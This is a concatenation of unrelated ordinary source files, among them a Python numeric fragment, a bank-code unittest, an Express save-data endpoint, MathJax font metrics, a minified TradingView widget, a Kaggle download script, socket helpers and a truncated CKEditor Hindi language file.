fraction1 = -1/(distanceBeta(x,arr[1])+theta4*arr[2])
fractsum1+=fraction1
return fractsum1
def fsgdiff4(x,theta3,theta4):
fractsum2=0
for arr in array:
if arr[1] != (330 or 9990 or 20160 or 50090 or 70160):
if x[2] in range(int(arr[0]),int(arr[1])+1):
fraction2 = theta3*arr[2]/(distanceBeta(x,arr[1])+theta4*arr[2])**2
fractsum2+=fraction2
return fractsum2
|
from unittest import TestCase
from urllib.parse import urlparse
import fints_url
class TestBasics(TestCase):
def test_bank_codes(self):
for bc in [86055592, 10077777, 10070000, 43060967]:
url = fints_url.find(bank_code=bc)
assert urlparse(url)
|
const { checkTokenMiddleWare, checkToken } = require('./auth');
/**
* @swagger
* /save-data:
* post:
* summary: Saves data using an automatic payment.
* description: Data must be able to be JSON.stringify()-ed. User must have authorized auto payments. Returns an automatic payment result. You can use the txid to recover the data later.
* requestBody:
* required: true
* content:
* application/json:
* schema:
* type: object
* properties:
* data_to_save:
* type: object
* user_id:
* type: string
* server_token:
* type: string
* required: true
* example: test_token
*
* responses:
* 200:
* content:
* application/json:
* schema:
* type: object
* properties:
* error:
* type: string
* order_id:
* type: string
* out_order_id:
* type: string
* user_id:
* type: string
* amount:
* type: string
* fee:
* type: string
* txid:
* type: string
*/
const saveData = (app, dotwallet) =>
app.post('/save-data', checkTokenMiddleWare, async (req, res) => {
const userID = req.body.user_id;
// console.log({ reqBody: req.body });
const tokenUserID = checkToken(req.body.server_token);
// console.log({ tokenUserID, userID, equal: tokenUserID === userID });
if (tokenUserID !== userID) {
res.json({ error: 'error processing transaction' });
return;
}
const saveDataResult = await dotwallet.saveData(req.body.data_to_save, userID, undefined, true);
res.json(saveDataResult);
});
module.exports = { saveData };
|
/*************************************************************
*
* MathJax/jax/output/HTML-CSS/fonts/STIX/General/Bold/MathBold.js
*
* Copyright (c) 2009-2019 The MathJax Consortium
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
*/
MathJax.Hub.Insert(
MathJax.OutputJax['HTML-CSS'].FONTDATA.FONTS['STIXGeneral-bold'],
{
0x1D400: [690,0,722,9,689], // MATHEMATICAL BOLD CAPITAL A
0x1D401: [676,0,667,16,619], // MATHEMATICAL BOLD CAPITAL B
0x1D402: [691,19,722,49,687], // MATHEMATICAL BOLD CAPITAL C
0x1D403: [676,0,722,14,690], // MATHEMATICAL BOLD CAPITAL D
0x1D404: [676,0,667,16,641], // MATHEMATICAL BOLD CAPITAL E
0x1D405: [676,0,611,16,583], // MATHEMATICAL BOLD CAPITAL F
0x1D406: [691,19,778,37,755], // MATHEMATICAL BOLD CAPITAL G
0x1D407: [676,0,778,21,759], // MATHEMATICAL BOLD CAPITAL H
0x1D408: [676,0,389,20,370], // MATHEMATICAL BOLD CAPITAL I
0x1D409: [676,96,500,3,478], // MATHEMATICAL BOLD CAPITAL J
0x1D40A: [676,0,778,30,769], // MATHEMATICAL BOLD CAPITAL K
0x1D40B: [676,0,667,19,638], // MATHEMATICAL BOLD CAPITAL L
0x1D40C: [676,0,944,14,921], // MATHEMATICAL BOLD CAPITAL M
0x1D40D: [676,18,722,16,701], // MATHEMATICAL BOLD CAPITAL N
0x1D40E: [691,19,778,35,743], // MATHEMATICAL BOLD CAPITAL O
0x1D40F: [676,0,611,16,600], // MATHEMATICAL BOLD CAPITAL P
0x1D410: [691,176,778,35,743], // MATHEMATICAL BOLD CAPITAL Q
0x1D411: [676,0,722,26,716], // MATHEMATICAL BOLD CAPITAL R
0x1D412: [692,19,556,35,513], // MATHEMATICAL BOLD CAPITAL S
0x1D413: [676,0,667,31,636], // MATHEMATICAL BOLD CAPITAL T
0x1D414: [676,19,722,16,701], // MATHEMATICAL BOLD CAPITAL U
0x1D415: [676,18,722,16,701], // MATHEMATICAL BOLD CAPITAL V
0x1D416: [676,15,1000,19,981], // MATHEMATICAL BOLD CAPITAL W
0x1D417: [676,0,722,16,699], // MATHEMATICAL BOLD CAPITAL X
0x1D418: [676,0,722,15,699], // MATHEMATICAL BOLD CAPITAL Y
0x1D419: [676,0,667,28,634], // MATHEMATICAL BOLD CAPITAL Z
0x1D41A: [473,14,500,25,488], // MATHEMATICAL BOLD SMALL A
0x1D41B: [676,14,556,17,521], // MATHEMATICAL BOLD SMALL B
0x1D41C: [473,14,444,25,430], // MATHEMATICAL BOLD SMALL C
0x1D41D: [676,14,556,25,534], // MATHEMATICAL BOLD SMALL D
0x1D41E: [473,14,444,25,427], // MATHEMATICAL BOLD SMALL E
0x1D41F: [691,0,333,14,389], // MATHEMATICAL BOLD SMALL F
0x1D420: [473,206,500,28,483], // MATHEMATICAL BOLD SMALL G
0x1D421: [676,0,556,15,534], // MATHEMATICAL BOLD SMALL H
0x1D422: [691,0,278,15,256], // MATHEMATICAL BOLD SMALL I
0x1D423: [691,203,333,-57,263], // MATHEMATICAL BOLD SMALL J
0x1D424: [676,0,556,22,543], // MATHEMATICAL BOLD SMALL K
0x1D425: [676,0,278,15,256], // MATHEMATICAL BOLD SMALL L
0x1D426: [473,0,833,15,814], // MATHEMATICAL BOLD SMALL M
0x1D427: [473,0,556,21,539], // MATHEMATICAL BOLD SMALL N
0x1D428: [473,14,500,25,476], // MATHEMATICAL BOLD SMALL O
0x1D429: [473,205,556,19,524], // MATHEMATICAL BOLD SMALL P
0x1D42A: [473,205,556,34,536], // MATHEMATICAL BOLD SMALL Q
0x1D42B: [473,0,444,28,434], // MATHEMATICAL BOLD SMALL R
0x1D42C: [473,14,389,25,361], // MATHEMATICAL BOLD SMALL S
0x1D42D: [630,12,333,19,332], // MATHEMATICAL BOLD SMALL T
0x1D42E: [461,14,556,16,538], // MATHEMATICAL BOLD SMALL U
0x1D42F: [461,14,500,21,485], // MATHEMATICAL BOLD SMALL V
0x1D430: [461,14,722,23,707], // MATHEMATICAL BOLD SMALL W
0x1D431: [461,0,500,12,484], // MATHEMATICAL BOLD SMALL X
0x1D432: [461,205,500,16,482], // MATHEMATICAL BOLD SMALL Y
0x1D433: [461,0,444,21,420], // MATHEMATICAL BOLD SMALL Z
0x1D7CE: [688,13,500,24,476], // MATHEMATICAL BOLD DIGIT ZERO
0x1D7CF: [688,0,500,65,441], // MATHEMATICAL BOLD DIGIT ONE
0x1D7D0: [688,0,500,17,478], // MATHEMATICAL BOLD DIGIT TWO
0x1D7D1: [688,14,500,16,468], // MATHEMATICAL BOLD DIGIT THREE
0x1D7D2: [688,0,500,19,476], // MATHEMATICAL BOLD DIGIT FOUR
0x1D7D3: [676,8,500,22,470], // MATHEMATICAL BOLD DIGIT FIVE
0x1D7D4: [688,13,500,28,475], // MATHEMATICAL BOLD DIGIT SIX
0x1D7D5: [676,0,500,17,477], // MATHEMATICAL BOLD DIGIT SEVEN
0x1D7D6: [688,13,500,28,472], // MATHEMATICAL BOLD DIGIT EIGHT
0x1D7D7: [688,13,500,26,473] // MATHEMATICAL BOLD DIGIT NINE
}
);
MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].fontDir + "/General/Bold/MathBold.js");
|
"use strict";
Object.defineProperty(exports, "__esModule", { value: true });
exports.TemplateType = void 0;
var TemplateType;
(function (TemplateType) {
TemplateType["INLINE"] = "INLINE";
TemplateType["S3_LOCATION"] = "S3_LOCATION";
})(TemplateType = exports.TemplateType || (exports.TemplateType = {}));
//# sourceMappingURL=graphql-api-provider.js.map
|
var t=function(){return(t=Object.assign||function(t){for(var e,o=arguments,n=1,i=arguments.length;n<i;n++)for(var r in e=o[n])Object.prototype.hasOwnProperty.call(e,r)&&(t[r]=e[r]);return t}).apply(this,arguments)};function e(o,n){var i=t({},o);for(var r in n)"object"!=typeof o[r]||null===o[r]||Array.isArray(o[r])?void 0!==n[r]&&(i[r]=n[r]):i[r]=e(o[r],n[r]);return i}var o={mobile:{disabled_features:["left_toolbar","header_widget","timeframes_toolbar","edit_buttons_in_legend","context_menus","control_bar","border_around_the_chart"],enabled_features:[]}},n={width:800,height:500,interval:"1D",timezone:"Etc/UTC",container_id:"",library_path:"",locale:"en",widgetbar:{details:!1,watchlist:!1,watchlist_settings:{default_symbols:[]}},overrides:{"mainSeriesProperties.showCountdown":!1},studies_overrides:{},trading_customization:{position:{},order:{}},brokerConfig:{configFlags:{}},fullscreen:!1,autosize:!1,disabled_features:[],enabled_features:[],debug:!1,logo:{},time_frames:[{text:"5y",resolution:"1W"},{text:"1y",resolution:"1W"},{text:"6m",resolution:"120"},{text:"3m",resolution:"60"},{text:"1m",resolution:"30"},{text:"5d",resolution:"5"},{text:"1d",resolution:"1"}],client_id:"0",user_id:"0",charts_storage_api_version:"1.0",favorites:{intervals:[],chartTypes:[]}};function i(){return"CL v17.025 (internal id 2f0c4150 @ 2020-11-19T09:50:09.264Z)"}var r=function(){function t(t){if(this._id="tradingview_"+(1048576*(1+Math.random())|0).toString(16).substring(1),this._ready=!1,this._readyHandlers=[],this._onWindowResize=this._autoResizeChart.bind(this),!t.datafeed)throw new Error("Datafeed is not defined");if(this._options=e(n,t),t.preset){var i=o[t.preset];i?(void 0!==this._options.disabled_features?this._options.disabled_features=this._options.disabled_features.concat(i.disabled_features):this._options.disabled_features=i.disabled_features,void 0!==this._options.enabled_features?this._options.enabled_features=this._options.enabled_features.concat(i.enabled_features):this._options.enabled_features=i.enabled_features):console.warn("Unknown preset: `"+t.preset+"`")}"Dark"===this._options.theme&&void 0===this._options.loading_screen&&(this._options.loading_screen={backgroundColor:"#131722"}),this._create()}return t.prototype.onChartReady=function(t){this._ready?t.call(this):this._readyHandlers.push(t)},t.prototype.headerReady=function(){var t=this;return this._innerWindowLoaded.then((function(){return t._innerWindow().headerReady()}))},t.prototype.onGrayedObjectClicked=function(t){this._innerAPI().onGrayedObjectClicked(t)},t.prototype.onShortcut=function(t,e){this._innerWindow().createShortcutAction(t,e)},t.prototype.subscribe=function(t,e){this._innerAPI().subscribe(t,e)},t.prototype.unsubscribe=function(t,e){this._innerAPI().unsubscribe(t,e)},t.prototype.chart=function(t){return this._innerAPI().chart(t)},t.prototype.getLanguage=function(){return this._options.locale},t.prototype.setSymbol=function(t,e,o){this._innerAPI().changeSymbol(t,e,o)},t.prototype.remove=function(){window.removeEventListener("resize",this._onWindowResize),this._readyHandlers.splice(0,this._readyHandlers.length),delete window[this._id],this._iFrame.parentNode&&this._iFrame.parentNode.removeChild(this._iFrame)},t.prototype.closePopupsAndDialogs=function(){this._innerAPI().closePopupsAndDialogs()},t.prototype.selectLineTool=function(t){this._innerAPI().selectLineTool(t)},t.prototype.selectedLineTool=function(){return this._innerAPI().selectedLineTool()},t.prototype.save=function(t){this._innerAPI().saveChart(t)},t.prototype.load=function(t,e){this._innerAPI().loadChart({json:t,extendedData:e})},t.prototype.getSavedCharts=function(t){this._innerAPI().getSavedCharts(t)},t.prototype.loadChartFromServer=function(t){this._innerAPI().loadChartFromServer(t)},t.prototype.saveChartToServer=function(t,e,o){this._innerAPI().saveChartToServer(t,e,o)},t.prototype.removeChartFromServer=function(t,e){this._innerAPI().removeChartFromServer(t,e)},t.prototype.onContextMenu=function(t){this._innerAPI().onContextMenu(t)},t.prototype.createButton=function(t){return this._innerWindow().createButton(t)},t.prototype.showNoticeDialog=function(t){this._innerAPI().showNoticeDialog(t)},t.prototype.showConfirmDialog=function(t){this._innerAPI().showConfirmDialog(t)},t.prototype.showLoadChartDialog=function(){this._innerAPI().showLoadChartDialog()},t.prototype.showSaveAsChartDialog=function(){this._innerAPI().showSaveAsChartDialog()},t.prototype.symbolInterval=function(){return this._innerAPI().getSymbolInterval()},t.prototype.mainSeriesPriceFormatter=function(){return this._innerAPI().mainSeriesPriceFormatter()},t.prototype.getIntervals=function(){return this._innerAPI().getIntervals()},t.prototype.getStudiesList=function(){return this._innerAPI().getStudiesList()},t.prototype.addCustomCSSFile=function(t){this._innerWindow().addCustomCSSFile(t)},t.prototype.applyOverrides=function(t){this._options=e(this._options,{overrides:t}),this._innerWindow().applyOverrides(t)},t.prototype.applyStudiesOverrides=function(t){this._innerWindow().applyStudiesOverrides(t)},t.prototype.watchList=function(){return this._innerAPI().watchlist()},t.prototype.activeChart=function(){return this._innerAPI().activeChart()},t.prototype.chartsCount=function(){return this._innerAPI().chartsCount()},t.prototype.layout=function(){return this._innerAPI().layout()},t.prototype.setLayout=function(t){this._innerAPI().setLayout(t)},t.prototype.layoutName=function(){return this._innerAPI().layoutName()},t.prototype.changeTheme=function(t,e){this._innerWindow().changeTheme(t,e)},t.prototype.getTheme=function(){return this._innerWindow().getTheme()},t.prototype.takeScreenshot=function(){this._innerAPI().takeScreenshot()},t.prototype.lockAllDrawingTools=function(){return this._innerAPI().lockAllDrawingTools()},t.prototype.hideAllDrawingTools=function(){return this._innerAPI().hideAllDrawingTools()},t.prototype.drawOnAllCharts=function(t){this._innerAPI().drawOnAllCharts(t)},t.prototype.magnetEnabled=function(){return this._innerAPI().magnetEnabled()},t.prototype.magnetMode=function(){return this._innerAPI().magnetMode()},t.prototype.undoRedoState=function(){return this._innerAPI().undoRedoState()},t.prototype.setIntervalLinkingEnabled=function(t){this._innerAPI().setIntervalLinkingEnabled(t)},t.prototype.setTimeFrame=function(t){this._innerAPI().setTimeFrame(t)},t.prototype.symbolSync=function(){return this._innerAPI().symbolSync()},t.prototype.intervalSync=function(){return this._innerAPI().intervalSync()},t.prototype.crosshairSync=function(){return this._innerAPI().crosshairSync()},t.prototype.timeSync=function(){return this._innerAPI().timeSync()},t.prototype.getAllFeatures=function(){return this._innerWindow().getAllFeatures()},t.prototype.takeClientScreenshot=function(){return this._innerAPI().takeClientScreenshot()},t.prototype._innerAPI=function(){return this._innerWindow().tradingViewApi},t.prototype._innerWindow=function(){return this._iFrame.contentWindow},t.prototype._autoResizeChart=function(){this._options.fullscreen&&(this._iFrame.style.height=window.innerHeight+"px")},t.prototype._create=function(){var t=this,e=this._render(),o=document.getElementById(this._options.container_id);if(null===o)throw new Error("There is no such element - #"+this._options.container_id);o.innerHTML=e,this._iFrame=o.querySelector("#"+this._id);var n=this._iFrame;(this._options.autosize||this._options.fullscreen)&&(n.style.width="100%",this._options.fullscreen||(n.style.height="100%")),window.addEventListener("resize",this._onWindowResize),this._onWindowResize(),this._innerWindowLoaded=new Promise((function(t){var e=function(){n.removeEventListener("load",e,!1),t()};n.addEventListener("load",e,!1)})),this._innerWindowLoaded.then((function(){t._innerWindow().widgetReady((function(){t._ready=!0;for(var e=0,o=t._readyHandlers;e<o.length;e++){var n=o[e];try{n.call(t)}catch(t){console.error(t)}}t._innerWindow().initializationFinished()}))}))},t.prototype._render=function(){var t=window;if(t[this._id]={datafeed:this._options.datafeed,customFormatters:this._options.custom_formatters||this._options.customFormatters,brokerFactory:this._options.broker_factory||this._options.brokerFactory,overrides:this._options.overrides,studiesOverrides:this._options.studies_overrides,tradingCustomization:this._options.trading_customization,disabledFeatures:this._options.disabled_features,enabledFeatures:this._options.enabled_features,brokerConfig:this._options.broker_config||this._options.brokerConfig,restConfig:this._options.restConfig,favorites:this._options.favorites,logo:this._options.logo,numeric_formatting:this._options.numeric_formatting,rss_news_feed:this._options.rss_news_feed,newsProvider:this._options.news_provider,loadLastChart:this._options.load_last_chart,saveLoadAdapter:this._options.save_load_adapter,loading_screen:this._options.loading_screen,settingsAdapter:this._options.settings_adapter,getCustomIndicators:this._options.custom_indicators_getter},this._options.saved_data)t[this._id].chartContent={json:this._options.saved_data};else if(!this._options.load_last_chart&&!this._options.symbol)throw new Error("Symbol is not defined: either 'symbol' or 'load_last_chart' option must be set");var e=(this._options.library_path||"")+(encodeURIComponent(this._options.locale)+"-tv-chart.2f0c4150.html#symbol=")+encodeURIComponent(this._options.symbol||"")+"&interval="+encodeURIComponent(this._options.interval)+(this._options.timeframe?"&timeframe="+encodeURIComponent(this._options.timeframe):"")+(this._options.toolbar_bg?"&toolbarbg="+encodeURIComponent(this._options.toolbar_bg.replace("#","")):"")+(this._options.studies_access?"&studiesAccess="+encodeURIComponent(JSON.stringify(this._options.studies_access)):"")+"&widgetbar="+encodeURIComponent(JSON.stringify(this._options.widgetbar))+(this._options.drawings_access?"&drawingsAccess="+encodeURIComponent(JSON.stringify(this._options.drawings_access)):"")+"&timeFrames="+encodeURIComponent(JSON.stringify(this._options.time_frames))+"&locale="+encodeURIComponent(this._options.locale)+"&uid="+encodeURIComponent(this._id)+"&clientId="+encodeURIComponent(String(this._options.client_id))+"&userId="+encodeURIComponent(String(this._options.user_id))+(this._options.charts_storage_url?"&chartsStorageUrl="+encodeURIComponent(this._options.charts_storage_url):"")+(this._options.charts_storage_api_version?"&chartsStorageVer="+encodeURIComponent(this._options.charts_storage_api_version):"")+(this._options.custom_css_url?"&customCSS="+encodeURIComponent(this._options.custom_css_url):"")+(this._options.auto_save_delay?"&autoSaveDelay="+encodeURIComponent(String(this._options.auto_save_delay)):"")+"&debug="+encodeURIComponent(String(this._options.debug))+(this._options.snapshot_url?"&snapshotUrl="+encodeURIComponent(this._options.snapshot_url):"")+(this._options.timezone?"&timezone="+encodeURIComponent(this._options.timezone):"")+(this._options.study_count_limit?"&studyCountLimit="+encodeURIComponent(String(this._options.study_count_limit)):"")+(this._options.symbol_search_request_delay?"&ssreqdelay="+encodeURIComponent(String(this._options.symbol_search_request_delay)):"")+(this._options.compare_symbols?"&compareSymbols="+encodeURIComponent(JSON.stringify(this._options.compare_symbols)):"")+(this._options.theme?"&theme="+encodeURIComponent(String(this._options.theme)):"");return'<iframe id="'+this._id+'" name="'+this._id+'" src="'+e+'"'+(this._options.autosize||this._options.fullscreen?"":' width="'+this._options.width+'" height="'+this._options.height+'"')+' frameborder="0" allowTransparency="true" scrolling="no" allowfullscreen style="display:block;"></iframe>'},t}();window.TradingView=window.TradingView||{},window.TradingView.version=i;export{i as version,r as widget};
|
require('./_typed-array')('Uint16', 2, function (init) {
return function Uint16Array(data, byteOffset, length) {
return init(this, data, byteOffset, length);
};
});
|
"""
kaggle_dataset_down.py
Script to download Kaggle datasets
author: @justjoshtings
created: 4/1/2022
"""
import time
from Woby_Modules.KaggleAPI import KaggleAPI
def main():
kaggle_dataset_owner = 'justjoshtings'
path_to_data = '../corpus/'
data_url_end_point = 'spooky-reddit-stories'
data_title = 'Spooky Reddit Stories'
message = 'New update of corpus'
kaggle = KaggleAPI(kaggle_dataset_owner)
# Download dataset
kaggle.download_dataset(owner=kaggle_dataset_owner, data_url_end_point=data_url_end_point, path_to_data='../corpus_data')
if __name__ == "__main__":
print("Executing kaggle_dataset_down.py")
main()
|
def dump(system, fp):
string = dumps(system)
fp.write(string)
def dumps(system):
output = "Prescription:\n"
elements = [" " + str(x) for x in system]
output += "\n".join(elements)
return output
def loads(string):
print string
|
"use strict";
const { SOCKET_ERROR, SOCKET_CONVERSATIONS } = require('../common/constants');
const { convertStringToJson } = require('../common/utils');
const getSocket = (namespace) => {
const { getSocketInstance } = require('.');
return getSocketInstance(namespace);
}
const sanitizePayload = (roomName, data, namespace) => {
if (!roomName) {
throw new Error('Room Name is missing');
}
let socket = getSocket(namespace);
if (!socket) {
throw new Error('Please initialize the socket!');
}
let payload = convertStringToJson(data);
return { socket, payload };
}
const broadcast = (socket, roomName, eventType, payload) => {
return socket.broadcast(roomName, broadcastFormat(eventType, payload));
}
const broadcastFormat = exports.broadcastFormat = (eventType, payload) => {
return { type: eventType, payload: payload };
}
const sendToClient = exports.sendToClient = (roomName, data, namespace) => {
const { socket, payload } = sanitizePayload(roomName, data, namespace);
return (eventType) => {
if (!payload) return;
return broadcast(socket, roomName, eventType, payload);
}
}
exports.sendError = (roomName, data, namespace) => {
if (data instanceof Error) {
data = data.message;
}
return sendToClient(roomName, data, namespace)(SOCKET_ERROR);
};
exports.sendConversations = (roomName, data, namespace) => {
return sendToClient(roomName, data, namespace)(SOCKET_CONVERSATIONS);
};
|
/*
Copyright (c) 2003-2017, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.md or http://ckeditor.com/license
*/
CKEDITOR.lang['hi']={"editor":"रिच टेक्स्ट एडिटर","editorPanel":"Rich Text Editor panel","common":{"editorHelp":"मदद के लिये ALT 0 दबाए","browseServer":"सर्वर ब्राउज़ करें","url":"URL","protocol":"प्रोटोकॉल","upload":"अपलोड","uploadSubmit":"इसे सर्वर को भेजें","image":"तस्वीर","flash":"फ़्लैश","form":"फ़ॉर्म","checkbox":"चॅक बॉक्स","radio":"रेडिओ बटन","textField":"टेक्स्ट फ़ील्ड","textarea":"टेक्स्ट एरिया","hiddenField":"गुप्त फ़ील्ड","button":"बटन","select":"चुनाव फ़ील्ड","imageButton":"तस्वीर बटन","notSet":"<सॅट नहीं>","id":"Id","name":"नाम","langDir":"भाषा लिखने की दिशा","langDirLtr":"बायें से दायें (LTR)","langDirRtl":"दायें से बायें (RTL)","langCode":"भाषा कोड","longDescr":"अधिक विवरण के लिए URL","cssClass":"स्टाइल-शीट क्लास","advisoryTitle":"परामर्श शीर्शक","cssStyle":"स्टाइल","ok":"ठीक है","cancel":"रद्द करें","close":"Close","preview":"प्रीव्यू","resize":"Resize","generalTab":"सामान्य","advancedTab":"ऍड्वान्स्ड","validateNumberFailed":"This value is not a number.","confirmNewPage":"Any unsaved changes to this content will be lost. Are you sure you want to load new page?","confirmCancel":"You have changed some options. Are you sure you want to close the dialog window?","options":"Options","target":"टार्गेट","targetNew":"New Window (_blank)","targetTop":"Topmost Window (_top)","targetSelf":"Same Window (_self)","targetParent":"Parent Window (_parent)","langDirLTR":"बायें से दायें (LTR)","langDirRTL":"दायें से बायें (RTL)","styles":"स्टाइल","cssClasses":"स्टाइल-शीट क्लास","width":"चौड़ाई","height":"ऊँचाई","align":"ऍलाइन","alignLeft":"दायें","alignRight":"दायें","alignCenter":"बीच में","alignJustify":"ब्लॉक जस्टीफ़ाई","alignTop":"ऊपर","alignMiddle":"मध्य","alignBottom":"नीचे","alignNone":"None","invalidValue":"Invalid value.","invalidHeight":"Height must be a number.","invalidWidth":"Width must be a number.","invalidCssLength":"Value specified for the \"%1\" field must be a positive number with or without a valid CSS measurement unit (px, %, in, cm, mm, em, ex, pt, or pc).","invalidHtmlLength":"Value specified for the \"%1\" field must be a positive number with or without a valid HTML measurement unit (px or %).","invalidInlineStyle":"Value specified for the inline style must consist of one or more tuples with the format of \"name : value\", separated by semi-colons.","cssLengthTooltip":"Enter a number for a value in pixels or a number with a valid CSS unit (px, %, in, cm, mm, em, ex, pt, or pc).","unavailable":"%1<span class=\"cke_accessibility\">, unavailable</span>","keyboard":{"8":"Backspace","13":"Enter","16":"Shift","17":"Ctrl","18":"Alt","32":"Space","35":"End","36":"Home","46":"Delete","224":"Command"},"keyboardShortcut":"Keyboard shortcut"},"about":{"copy":"Copyright © $1. All rights reserved.","dlgTitle":"About CKEditor","help":"Check $1 for help.","moreInfo":"For licensing information please visit our web site:","title":"About CKEditor","userGuide":"CKEditor User's Guide"},"basicstyles":{"bold":"बोल्ड","italic":"इटैलिक","strike":"स्ट्राइक थ्रू","subscript":"अधोलेख","superscript":"अभिलेख","underline":"रेखांकण"},"blockquote":{"toolbar":"ब्लॉक-कोट"},"button":{"selectedLabel":"%1 (Selected)"},"toolbar":{"toolbarCollapse":"Collapse Toolbar","toolbarExpand":"Expand Toolbar","toolbarGroups":{"document":"Document","clipboard":"Clipboard/Undo","editing":"Editing","forms":"Forms","basicstyles":"Basic Styles","paragraph":"Paragraph","links":"Links","insert":"Insert","styles":"Styles","colors":"Colors","tools":"Tools"},"toolbars":"एडिटर टूलबार"},"notification":{"closed":"Notification closed."},"clipboard":{"copy":"कॉपी","copyError":"आपके ब्राआउज़र की सुरक्षा सॅटिन्ग्स ने कॉपी करने की अनुमति नहीं प्रदान की है। (Ctrl/Cmd+C) का प्रयोग करें।","cut":"कट","cutError":"आपके ब्राउज़र की सुरक्षा सॅटिन्ग्स ने कट करने की अनुमति नहीं प्रदान की है। (Ctrl/Cmd+X) का प्रयोग करें।","paste":"पेस्ट","pasteNotification":"Your browser doesn't allow you to paste this way. Press %1 to paste."},"contextmenu":{"options":"Context Menu Options"},"elementspath":{"eleLabel":"Elements path","eleTitle":"%1 element"},"format":{"label":"फ़ॉर्मैट","panelTitle":"फ़ॉर्मैट","tag_address":"पता","tag_div":"शीर्षक (DIV)","tag_h1":"शीर्षक 1","tag_h2":"शीर्षक 2","tag_h3":"शीर्षक 3","tag_h4":"शीर्षक 4","tag_h5":"शीर्षक 5","tag_h6":"शीर्षक 6","tag_p":"साधारण","tag_pre":"फ़ॉर्मैटॅड"},"horizontalrule":{"toolbar":"हॉरिज़ॉन्टल रेखा इन्सर्ट करें"},"image":{"alt":"वैकल्पिक टेक्स्ट","border":"बॉर्डर","btnUpload":"इसे सर्वर को भेजें","button2Img":"Do you want to transform the selected image button on a simple image?","hSpace":"हॉरिज़ॉन्टल स्पेस","img2Button":"Do you want to transform the selected image on a image button?","infoTab":"तस्वीर की जानकारी","linkTab":"लिंक","lockRatio":"लॉक अनुपात","menu":"तस्वीर प्रॉपर्टीज़","resetSize":"रीसॅट साइज़","title":"तस्वीर प्रॉपर्टीज़","titleButton":"तस्वीर बटन प्रॉपर्टीज़","upload":"अपलोड","urlMissing":"Image source URL is missing.","vSpace":"वर्टिकल स्पेस","validateBorder":"Border must be a whole number.","validateHSpace":"HSpace must be a whole number.","validateVSpace":"VSpace must be a whole number."},"indent":{"indent":"इन्डॅन्ट बढ़ायें","outdent":"इन्डॅन्ट कम करें"},"fakeobjects":{"anchor":"ऐंकर इन्सर्ट/संपादन","flash":"Flash Animation","hiddenfield":"गुप्त फ़ील्ड","iframe":"IFrame","unknown":"Unknown Object"},"link":{"acccessKey":"ऍक्सॅस की","advanced":"ऍड्वान्स्ड","advisoryContentType":"परामर्श कन्टॅन्ट प्रकार","advisoryTitle":"परामर्श शीर्शक","anchor":{"toolbar":"ऐंकर इन्सर्ट/संपादन","menu":"ऐंकर प्रॉपर्टीज़","title":"ऐंकर प्रॉपर्टीज़","name":"ऐंकर का नाम","errorName":"ऐंकर का नाम टाइप करें","remove":"Remove Anchor"},"anchorId":"ऍलीमॅन्ट Id से","anchorName":"ऐंकर नाम से","charset":"लिंक रिसोर्स करॅक्टर सॅट","cssClasses":"स्टाइल-शीट क्लास","download":"Force Download","displayText":"Display Text","emailAddress":"ई-मेल पता","emailBody":"संदेश","emailSubject":"संदेश विषय","id":"Id","info":"लिंक ","langCode":"भाषा लिखने की दिशा","langDir":"भाषा लिखने की दिशा","langDirLTR":"बायें से दायें (LTR)","langDirRTL":"दायें से बायें (RTL)","menu":"लिंक संपादन","name":"नाम","noAnchors":"(डॉक्यूमॅन्ट में ऐंकर्स की संख्या)","noEmail":"ई-मेल पता टाइप करें","noUrl":"लिंक URL टाइप करें","other":"<अन्य>","popupDependent":"डिपेन्डॅन्ट (Netscape)","popupFeatures":"पॉप-अप विन्डो फ़ीचर्स","popupFullScreen":"फ़ुल स्क्रीन (IE)","popupLeft":"बायीं तरफ","popupLocationBar":"लोकेशन बार","popupMenuBar":"मॅन्यू बार","popupResizable":"आकार बदलने लायक","popupScrollBars":"स्क्रॉल बार","popupStatusBar":"स्टेटस बार","popupToolbar":"टूल बार","popupTop":"दायीं तरफ","rel":"संबंध","selectAnchor":"ऐंकर चुनें","styles":"स्टाइल","tabIndex":"टैब इन्डॅक्स","target":"टार्गेट","targetFrame":"<फ़्रेम>","targetFrameName":"टार्गेट फ़्रेम का नाम","targetPopup":"<पॉप-अप विन्डो>","targetPopupName":"पॉप-अप विन्डो का नाम","title":"लिंक","toAnchor":"इस पेज का ऐंकर","toEmail":"ई-मेल","toUrl":"URL","toolbar":"लिंक इन्सर्ट/संपादन","type":"लिंक प्रकार","unlink":"लिंक हटायें","upload":"अपलोड"},"list":{"bulletedlist":"बुलॅट सूची","numberedlist":"अंकीय सूची"},"magicline":{"title":"Insert paragraph here"},"maximize":{"maximize":"मेक्सिमाईज़","minimize":"मिनिमाईज़"},"pastetext":{"button":"पेस्ट (सादा टॅक्स्ट)","pasteNotification":"Your browser does not allow you to paste plain text this way. Press %1 to paste."},"pastefromword":{"confirmCleanup":"The text you want to paste seems to be copied from Word. Do you want to clean it before pasting?","error":"It was not possible to clean up the pasted data due to an internal error","title":"पेस्ट (वर्ड से)","toolbar":"पेस्ट (वर्ड से)"},"removeformat":{"toolbar":"फ़ॉर्मैट हटायें"},"sourcearea":{"toolbar":"सोर्स"},"specialchar":{"options":"विशेष चरित्र विकल्प","title":"विशेष करॅक्टर चुनें","toolbar":"विशेष करॅक्टर इन्सर्ट करें"},"scayt":{"btn_about":"About SCAYT","btn_dictionaries":"Dictionaries","btn_disable":"Disable SCAYT","btn_enable":"Enable SCAYT","btn_langs":"Languages","btn_options":"Options","text_title":"Spell Check As You Type"},"stylescombo":{"label":"स्टाइल","panelTitle":"Formatting Styles","panelTitle1":"Block Styles","panelTitle2":"Inline Styles","panelTitle3":"Object Styles"},"table":{"border":"बॉर्डर साइज़","caption":"शीर्षक","cell":{"menu":"खाना","insertBefore":"पहले सैल डालें","insertAfter":"बाद में सैल डालें","deleteCell":"सैल डिलीट करें","merge":"सैल मिलायें","mergeRight":"बाँया विलय","mergeDown":"नीचे विलय करें","splitHorizontal":"सैल को क्षैतिज स्थिति में विभाजित करें","splitVertical":"सैल को लम्बाकार में विभाजित करें","title":"Cell Properties","cellType":"Cell Type","rowSpan":"Rows Span","colSpan":"Columns Span","wordWrap":"Word Wrap","hAlign":"Horizontal 